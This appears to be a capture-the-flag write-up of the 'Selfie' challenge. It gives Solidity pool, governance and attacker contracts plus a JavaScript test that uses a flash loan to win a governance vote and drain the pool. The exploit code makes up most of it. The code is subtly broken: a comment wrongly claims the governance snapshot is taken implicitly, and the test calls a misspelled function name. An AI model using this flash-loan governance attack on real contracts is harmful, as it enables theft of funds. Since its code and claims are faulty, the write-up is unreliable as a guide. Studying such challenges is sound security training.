Selfie Challenge

Step-by-Step Attack:

1. Flash Loan: Borrow a large amount of DVT tokens from the SelfiePool
2. Snapshot Manipulation: The borrowed tokens give you voting power in the governance snapshot
3. Queue Malicious Action: Use your temporary voting power to queue a call to drainAllFunds on the SelfiePool
4. Repay Flash Loan: Repay the flash loan with the borrowed DVT tokens
5. Wait and Execute: After 2 days, execute the queued action to drain all funds from the pool

SelfiePool.sol

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Snapshot.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./SimpleGovernance.sol";

Imports: Brings in OpenZeppelin's ReentrancyGuard for security, ERC20Snapshot for snapshotting token balances, Address utilities, and the SimpleGovernance contract.

ERC20Snapshot public token;
SimpleGovernance public governance;

State Variables: References to the ERC20 token (with snapshot capability) and the governance contract.

event FundsDrained(address indexed receiver, uint256 amount);

Event: Emitted when all funds are drained from the pool.

modifier onlyGovernance() {
    require(msg.sender == address(governance), "Only governance can execute this action");
    _;
}

Modifier: Restricts certain functions to only be callable by the governance contract.

constructor(address tokenAddress, address governanceAddress) public {
    token = ERC20Snapshot(tokenAddress);
    governance = SimpleGovernance(governanceAddress);
}

Constructor: Initializes the pool with the token and governance contract addresses.

function flashLoan(uint256 borrowAmount) external nonReentrant {
    uint256 balanceBefore = token.balanceOf(address(this));
    require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
    
    token.transfer(msg.sender, borrowAmount);        
    
    require(msg.sender.isContract(), "Sender must be a deployed contract");
    (bool success,) = msg.sender.call(
        abi.encodeWithSignature(
            "receiveTokens(address,uint256)",
            address(token),
            borrowAmount
        )
    );
    require(success, "External call failed");
    
    uint256 balanceAfter = token.balanceOf(address(this));
    require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

Flash Loan: Allows contracts (not EOAs) to borrow tokens, calls receiveTokens on the borrower, and checks repayment. This is the entry point for the attack.

function drainAllFunds(address receiver) external onlyGovernance {
    uint256 amount = token.balanceOf(address(this));
    token.transfer(receiver, amount);
    emit FundsDrained(receiver, amount);
}

drainAllFunds: Transfers all tokens to a receiver, but can only be called by governance. This is the function the attacker wants to trigger.

SimpleGovernance.sol

import "../DamnValuableTokenSnapshot.sol";

Imports: Uses a custom ERC20 token with snapshot capability for governance voting.

struct GovernanceAction {
    address receiver;
    bytes data;
    uint256 weiAmount;
    uint256 proposedAt;
    uint256 executedAt;
}

GovernanceAction Struct: Represents a queued governance action, including the target, calldata, value, and timestamps.

DamnValuableTokenSnapshot public governanceToken;
mapping(uint256 => GovernanceAction) public actions;
uint256 private actionCounter;
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;

State Variables: The governance token, a mapping of actions, a counter for action IDs, and the delay before actions can be executed.

event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);

Events: Emitted when actions are queued and executed.

constructor(address governanceTokenAddress) public {
    require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
    governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
    actionCounter = 1;
}

Constructor: Initializes the governance contract with the token address and sets the action counter.

function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
    require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
    require(receiver != address(this), "Cannot queue actions that affect Governance");

    uint256 actionId = actionCounter;

    GovernanceAction storage actionToQueue = actions[actionId];
    actionToQueue.receiver = receiver;
    actionToQueue.weiAmount = weiAmount;
    actionToQueue.data = data;
    actionToQueue.proposedAt = block.timestamp;

    actionCounter++;

    emit ActionQueued(actionId, msg.sender);
    return actionId;
}

queueAction: Allows a user with enough voting power to propose a governance action. This is where the attacker queues the malicious call.

function executeAction(uint256 actionId) external payable {
    require(_canBeExecuted(actionId), "Cannot execute this action");
    
    GovernanceAction storage actionToExecute = actions[actionId];
    actionToExecute.executedAt = block.timestamp;

    (bool success,) = actionToExecute.receiver.call{
        value: actionToExecute.weiAmount
    }(actionToExecute.data);
    
    require(success, "Action failed");

    emit ActionExecuted(actionId, msg.sender);
}

executeAction: Executes a queued action after the delay. This is how the attacker drains the pool after waiting 2 days.

function getActionDelay() public view returns (uint256) {
    return ACTION_DELAY_IN_SECONDS;
}

getActionDelay: Returns the required delay before an action can be executed.

function _canBeExecuted(uint256 actionId) private view returns (bool) {
    GovernanceAction memory actionToExecute = actions[actionId];
    return (
        actionToExecute.executedAt == 0 &&
        (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
    );
}

_canBeExecuted: Checks if an action is ready to be executed (not already executed and delay has passed).

function _hasEnoughVotes(address account) private view returns (bool) {
    uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
    uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
    return balance > halfTotalSupply;
}

_hasEnoughVotes: Checks if the caller has more than half the total token supply at the last snapshot. This is the core vulnerability: flash loans can manipulate this check.

SelfieAttacker.sol

import "./SelfiePool.sol";
import "./SimpleGovernance.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

Imports: Brings in the pool, governance, and ERC20 interfaces needed for the attack.

SelfiePool public pool;
SimpleGovernance public governance;
address public owner;
IERC20 public token;
uint256 public actionId;

State Variables: Stores references to the pool, governance, token, the attacker's address, and the queued action ID.

constructor(address poolAddress, address governanceAddress, address tokenAddress) public {
    pool = SelfiePool(poolAddress);
    governance = SimpleGovernance(governanceAddress);
    token = IERC20(tokenAddress);
    owner = msg.sender;
}

Constructor: Initializes the contract with the pool, governance, and token addresses, and sets the attacker as the owner.

function initiateAttack(uint256 amount) external {
    pool.flashLoan(amount);
}

initiateAttack: Starts the attack by requesting a flash loan from the pool.

function receiveTokens(address tokenAddress, uint256 amount) external {
    // Take snapshot (implicitly happens during proposal)
    // Encode the governance call
    bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", owner);

    // Queue governance action using our borrowed majority
    actionId = governance.queueAction(address(pool), data, 0);

    // Pay back flash loan
    IERC20(tokenAddress).transfer(address(pool), amount);
}

receiveTokens: Called by the pool during the flash loan. Queues the malicious governance action and repays the flash loan.

tests/selfie/selfie.challenge.js

const { ether, time } = require('@openzeppelin/test-helpers');
const { accounts, contract } = require('@openzeppelin/test-environment');

const DamnValuableTokenSnapshot = contract.fromArtifact('DamnValuableTokenSnapshot');
const SelfiePool = contract.fromArtifact('SelfiePool');
const SimpleGovernance = contract.fromArtifact('SimpleGovernance');
const SelfieAttacker = contract.fromArtifact('SelfieAttacker');

const { expect } = require('chai');

describe('[Challenge] Selfie', function () {

    const [deployer, attacker, ...otherAccounts] = accounts;

    const TOKEN_INITIAL_SUPPLY = ether('2000000')
    const TOKENS_IN_POOL = ether('1500000');
    

    before(async function () {
        /** SETUP SCENARIO */
        this.token = await DamnValuableTokenSnapshot.new(TOKEN_INITIAL_SUPPLY, { from: deployer });
        this.governance = await SimpleGovernance.new(this.token.address, { from: deployer });
        this.pool = await SelfiePool.new(
            this.token.address,
            this.governance.address, 
            { from: deployer }
        );

        await this.token.transfer(this.pool.address, TOKENS_IN_POOL, { from: deployer });

        expect(
            await this.token.balanceOf(this.pool.address)
        ).to.be.bignumber.equal(TOKENS_IN_POOL);
    });

    it('Exploit', async function () {
       // Deploy attack contract
       this.attackerContract = await SelfieAttacker.new(
        this.pool.address,
        this.governance.address,
        this.token.address,
        { from: attacker }
       );

       // Initiate flash loan and queue malicious governance action
       await this.attackerContract.initiateattack(TOKENS_IN_POOL, { from: attacker });

       // Advance time by 2 days to pass governance delay
       await time.increase(time.duration.days(2));

       // Execute the malicious action
       const actionId = await this.attackerContract.actionId.call();
       await this.governance.executeAction(actionId, { from: attacker });

       // Check final balances
       expect(
        await this.token.balanceOf(attacker)
       ).to.be.bignumber.equal(TOKENS_IN_POOL);
    });

    after(async function () {
        /** SUCCESS CONDITIONS */
        expect(
            await this.token.balanceOf(attacker)
        ).to.be.bignumber.equal(TOKENS_IN_POOL);        
        expect(
            await this.token.balanceOf(this.pool.address)
        ).to.be.bignumber.equal('0');
    });
});

Test Setup: This test file sets up the challenge environment, deploys the attack contract, executes the attack, and verifies the success conditions.